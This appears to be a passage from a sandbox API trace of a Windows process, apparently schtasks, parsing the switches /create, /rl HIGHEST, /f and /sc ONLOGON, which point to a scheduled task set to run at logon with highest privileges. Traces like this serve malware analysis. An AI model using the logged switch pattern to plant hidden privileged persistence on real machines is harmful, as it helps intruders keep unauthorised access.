lstrlenW (lpString="|rl|") returned 4 [0133.984] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0133.984] SetLastError (dwErrCode=0x490) [0133.984] lstrlenW (lpString="rl") returned 2 [0133.984] lstrlenW (lpString="rl") returned 2 [0133.985] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.985] lstrlenW (lpString="rl") returned 2 [0133.985] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.985] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.985] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.985] lstrlenW (lpString="|rl|") returned 4 [0133.985] lstrlenW (lpString="|rl|") returned 4 [0133.985] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0133.985] SetLastError (dwErrCode=0x0) [0133.985] SetLastError (dwErrCode=0x0) [0133.985] lstrlenW (lpString="HIGHEST") returned 7 [0133.985] lstrlenW (lpString="-/") returned 2 [0133.985] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0133.985] SetLastError (dwErrCode=0x490) [0133.985] SetLastError (dwErrCode=0x490) [0133.985] SetLastError (dwErrCode=0x0) [0133.985] lstrlenW (lpString="HIGHEST") returned 7 [0133.985] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0133.985] SetLastError (dwErrCode=0x490) [0133.985] SetLastError (dwErrCode=0x0) [0133.985] _memicmp (_Buf1=0x16d490, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.985] lstrlenW (lpString="HIGHEST") returned 7 [0133.985] lstrlenW (lpString="HIGHEST") returned 7 [0133.985] lstrlenW (lpString=" \x09") returned 2 [0133.985] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0133.985] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0133.985] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0133.985] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0133.986] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0133.986] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0133.986] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0133.986] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0133.986] GetLastError () returned 0x0 [0133.986] lstrlenW (lpString="HIGHEST") returned 7 [0133.986] lstrlenW (lpString="HIGHEST") returned 7 [0133.986] SetLastError (dwErrCode=0x0) [0133.986] SetLastError (dwErrCode=0x0) [0133.986] lstrlenW (lpString="/f") returned 2 [0133.986] lstrlenW (lpString="-/") returned 2 [0133.986] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.986] lstrlenW (lpString="create") returned 6 [0133.986] lstrlenW (lpString="create") returned 6 [0133.986] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.986] lstrlenW (lpString="f") returned 1 [0133.986] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.986] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|create|") returned 8 [0133.986] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.986] lstrlenW (lpString="|create|") returned 8 [0133.986] lstrlenW (lpString="|f|") returned 3 [0133.986] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0133.986] SetLastError (dwErrCode=0x490) [0133.986] lstrlenW (lpString="?") returned 1 [0133.986] lstrlenW (lpString="?") returned 1 [0133.986] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.986] lstrlenW (lpString="f") returned 1 [0133.986] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.986] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|?|") returned 3 [0133.987] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.987] lstrlenW (lpString="|?|") returned 3 [0133.987] lstrlenW (lpString="|f|") returned 3 [0133.987] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0133.987] SetLastError (dwErrCode=0x490) [0133.987] lstrlenW (lpString="s") returned 1 [0133.987] lstrlenW (lpString="s") returned 1 [0133.987] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.987] lstrlenW (lpString="f") returned 1 [0133.987] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.987] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|s|") returned 3 [0133.987] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.987] lstrlenW (lpString="|s|") returned 3 [0133.987] lstrlenW (lpString="|f|") returned 3 [0133.987] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0133.987] SetLastError (dwErrCode=0x490) [0133.987] lstrlenW (lpString="u") returned 1 [0133.987] lstrlenW (lpString="u") returned 1 [0133.987] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.987] lstrlenW (lpString="f") returned 1 [0133.987] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.987] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|u|") returned 3 [0133.987] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.987] lstrlenW (lpString="|u|") returned 3 [0133.987] lstrlenW (lpString="|f|") returned 3 [0133.987] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0133.987] SetLastError (dwErrCode=0x490) [0133.987] lstrlenW (lpString="p") returned 1 [0133.988] lstrlenW (lpString="p") returned 1 [0133.988] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.988] lstrlenW (lpString="f") returned 1 [0133.988] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.988] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|p|") returned 3 [0133.988] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.988] lstrlenW (lpString="|p|") returned 3 [0133.988] lstrlenW (lpString="|f|") returned 3 [0133.988] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0133.988] SetLastError (dwErrCode=0x490) [0133.988] lstrlenW (lpString="ru") returned 2 [0133.988] lstrlenW (lpString="ru") returned 2 [0133.988] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.988] lstrlenW (lpString="f") returned 1 [0133.988] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.988] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|ru|") returned 4 [0133.988] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.988] lstrlenW (lpString="|ru|") returned 4 [0133.988] lstrlenW (lpString="|f|") returned 3 [0133.988] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0133.988] SetLastError (dwErrCode=0x490) [0133.988] lstrlenW (lpString="rp") returned 2 [0133.988] lstrlenW (lpString="rp") returned 2 [0133.988] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.988] lstrlenW (lpString="f") returned 1 [0133.988] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.988] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rp|") returned 4 [0133.989] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.989] lstrlenW (lpString="|rp|") returned 4 [0133.989] lstrlenW (lpString="|f|") returned 3 [0133.989] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0133.989] SetLastError (dwErrCode=0x490) [0133.989] lstrlenW (lpString="sc") returned 2 [0133.989] lstrlenW (lpString="sc") returned 2 [0133.989] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.989] lstrlenW (lpString="f") returned 1 [0133.989] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.989] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|sc|") returned 4 [0133.989] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.989] lstrlenW (lpString="|sc|") returned 4 [0133.989] lstrlenW (lpString="|f|") returned 3 [0133.989] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0133.989] SetLastError (dwErrCode=0x490) [0133.989] lstrlenW (lpString="mo") returned 2 [0133.989] lstrlenW (lpString="mo") returned 2 [0133.989] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.989] lstrlenW (lpString="f") returned 1 [0133.989] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.989] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|mo|") returned 4 [0133.989] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.989] lstrlenW (lpString="|mo|") returned 4 [0133.989] lstrlenW (lpString="|f|") returned 3 [0133.989] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0133.989] SetLastError (dwErrCode=0x490) [0133.989] lstrlenW (lpString="d") returned 1 [0133.989] lstrlenW (lpString="d") returned 1 [0133.990] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.990] lstrlenW (lpString="f") returned 1 [0133.990] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.990] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|d|") returned 3 [0133.990] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.990] lstrlenW (lpString="|d|") returned 3 [0133.990] lstrlenW (lpString="|f|") returned 3 [0133.990] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0133.990] SetLastError (dwErrCode=0x490) [0133.990] lstrlenW (lpString="m") returned 1 [0133.990] lstrlenW (lpString="m") returned 1 [0133.990] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.990] lstrlenW (lpString="f") returned 1 [0133.990] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.990] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|m|") returned 3 [0133.990] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.990] lstrlenW (lpString="|m|") returned 3 [0133.990] lstrlenW (lpString="|f|") returned 3 [0133.990] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0133.990] SetLastError (dwErrCode=0x490) [0133.990] lstrlenW (lpString="i") returned 1 [0133.990] lstrlenW (lpString="i") returned 1 [0133.990] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.990] lstrlenW (lpString="f") returned 1 [0133.990] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.990] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|i|") returned 3 [0133.991] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.991] lstrlenW (lpString="|i|") returned 3 [0133.991] lstrlenW (lpString="|f|") returned 3 [0133.991] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0133.991] SetLastError (dwErrCode=0x490) [0133.991] lstrlenW (lpString="tn") returned 2 [0133.991] lstrlenW (lpString="tn") returned 2 [0133.991] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.991] lstrlenW (lpString="f") returned 1 [0133.991] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.991] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tn|") returned 4 [0133.991] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.991] lstrlenW (lpString="|tn|") returned 4 [0133.991] lstrlenW (lpString="|f|") returned 3 [0133.991] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0133.991] SetLastError (dwErrCode=0x490) [0133.991] lstrlenW (lpString="tr") returned 2 [0133.991] lstrlenW (lpString="tr") returned 2 [0133.991] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.991] lstrlenW (lpString="f") returned 1 [0133.991] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.991] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tr|") returned 4 [0133.991] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.991] lstrlenW (lpString="|tr|") returned 4 [0133.991] lstrlenW (lpString="|f|") returned 3 [0133.991] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0133.991] SetLastError (dwErrCode=0x490) [0133.991] lstrlenW (lpString="st") returned 2 [0133.991] lstrlenW (lpString="st") returned 2 [0133.992] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.992] lstrlenW (lpString="f") returned 1 [0133.992] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.992] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|st|") returned 4 [0133.992] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.992] lstrlenW (lpString="|st|") returned 4 [0133.992] lstrlenW (lpString="|f|") returned 3 [0133.992] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0133.992] SetLastError (dwErrCode=0x490) [0133.992] lstrlenW (lpString="sd") returned 2 [0133.992] lstrlenW (lpString="sd") returned 2 [0133.992] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.992] lstrlenW (lpString="f") returned 1 [0133.992] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.992] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|sd|") returned 4 [0133.992] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.992] lstrlenW (lpString="|sd|") returned 4 [0133.992] lstrlenW (lpString="|f|") returned 3 [0133.992] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0133.992] SetLastError (dwErrCode=0x490) [0133.992] lstrlenW (lpString="ed") returned 2 [0133.992] lstrlenW (lpString="ed") returned 2 [0133.992] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.992] lstrlenW (lpString="f") returned 1 [0133.992] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.992] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|ed|") returned 4 [0133.992] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.993] lstrlenW (lpString="|ed|") returned 4 [0133.993] lstrlenW (lpString="|f|") returned 3 [0133.993] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0133.993] SetLastError (dwErrCode=0x490) [0133.993] lstrlenW (lpString="it") returned 2 [0133.993] lstrlenW (lpString="it") returned 2 [0133.993] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.993] lstrlenW (lpString="f") returned 1 [0133.993] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.993] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|it|") returned 4 [0133.993] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.993] lstrlenW (lpString="|it|") returned 4 [0133.993] lstrlenW (lpString="|f|") returned 3 [0133.993] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0133.993] SetLastError (dwErrCode=0x490) [0133.993] lstrlenW (lpString="et") returned 2 [0133.993] lstrlenW (lpString="et") returned 2 [0133.993] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.993] lstrlenW (lpString="f") returned 1 [0133.993] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.993] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|et|") returned 4 [0133.993] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.993] lstrlenW (lpString="|et|") returned 4 [0133.993] lstrlenW (lpString="|f|") returned 3 [0133.993] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0133.993] SetLastError (dwErrCode=0x490) [0133.993] lstrlenW (lpString="k") returned 1 [0133.993] lstrlenW (lpString="k") returned 1 [0133.994] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.994] lstrlenW (lpString="f") returned 1 [0133.994] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.994] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|k|") returned 3 [0133.994] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.994] lstrlenW (lpString="|k|") returned 3 [0133.994] lstrlenW (lpString="|f|") returned 3 [0133.994] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0133.994] SetLastError (dwErrCode=0x490) [0133.994] lstrlenW (lpString="du") returned 2 [0133.994] lstrlenW (lpString="du") returned 2 [0133.994] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.994] lstrlenW (lpString="f") returned 1 [0133.994] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.994] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|du|") returned 4 [0133.994] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.994] lstrlenW (lpString="|du|") returned 4 [0133.994] lstrlenW (lpString="|f|") returned 3 [0133.994] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0133.994] SetLastError (dwErrCode=0x490) [0133.994] lstrlenW (lpString="ri") returned 2 [0133.994] lstrlenW (lpString="ri") returned 2 [0133.994] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.994] lstrlenW (lpString="f") returned 1 [0133.994] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.994] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|ri|") returned 4 [0133.994] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.994] lstrlenW (lpString="|ri|") returned 4 [0133.995] lstrlenW (lpString="|f|") returned 3 [0133.995] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0133.995] SetLastError (dwErrCode=0x490) [0133.995] lstrlenW (lpString="z") returned 1 [0133.995] lstrlenW (lpString="z") returned 1 [0133.995] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.995] lstrlenW (lpString="f") returned 1 [0133.995] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.995] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|z|") returned 3 [0133.995] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.995] lstrlenW (lpString="|z|") returned 3 [0133.995] lstrlenW (lpString="|f|") returned 3 [0133.995] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0133.995] SetLastError (dwErrCode=0x490) [0133.995] lstrlenW (lpString="f") returned 1 [0133.995] lstrlenW (lpString="f") returned 1 [0133.995] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.995] lstrlenW (lpString="f") returned 1 [0133.995] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.995] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.995] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.995] lstrlenW (lpString="|f|") returned 3 [0133.995] lstrlenW (lpString="|f|") returned 3 [0133.995] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0133.995] SetLastError (dwErrCode=0x0) [0133.995] SetLastError (dwErrCode=0x0) [0133.995] GetProcessHeap () returned 0x150000 [0133.995] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16ccc0 [0133.996] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.996] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0133.996] lstrlenW (lpString="LIMITED") returned 7 [0133.996] GetProcessHeap () returned 0x150000 [0133.996] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x10) returned 0x16d550 [0133.996] GetThreadLocale () returned 0x409 [0133.996] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0133.996] GetProcessHeap () returned 0x150000 [0133.996] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cc90 [0133.996] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.996] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0133.996] lstrlenW (lpString="HIGHEST") returned 7 [0133.996] GetProcessHeap () returned 0x150000 [0133.996] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x10) returned 0x16d570 [0133.997] GetThreadLocale () returned 0x409 [0133.997] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0133.997] GetProcessHeap () returned 0x150000 [0133.997] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cc60 [0133.997] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.997] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0133.998] lstrlenW (lpString="MINUTE") returned 6 [0133.998] GetProcessHeap () returned 0x150000 [0133.998] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xe) returned 0x16d590 [0133.998] GetThreadLocale () returned 0x409 [0133.998] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0133.998] GetProcessHeap () returned 0x150000 [0133.998] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cc30 [0133.998] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.998] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0133.998] lstrlenW (lpString="HOURLY") returned 6 [0133.998] GetProcessHeap () returned 0x150000 [0133.998] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xe) returned 0x16d5b0 [0133.998] GetThreadLocale () returned 0x409 [0133.998] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0133.998] GetProcessHeap () returned 0x150000 [0133.998] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cc00 [0133.998] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.998] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0133.998] lstrlenW (lpString="DAILY") returned 5 [0133.998] GetProcessHeap () returned 0x150000 [0133.998] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xc) returned 0x16d5d0 [0133.998] GetThreadLocale () returned 0x409 [0133.998] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0133.998] GetProcessHeap () returned 0x150000 [0133.998] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cbd0 [0133.998] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.998] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0133.998] lstrlenW (lpString="WEEKLY") returned 6 [0133.998] GetProcessHeap () returned 0x150000 [0133.999] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xe) returned 0x16d5f0 [0133.999] GetThreadLocale () returned 0x409 [0133.999] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0133.999] GetProcessHeap () returned 0x150000 [0133.999] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cba0 [0133.999] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 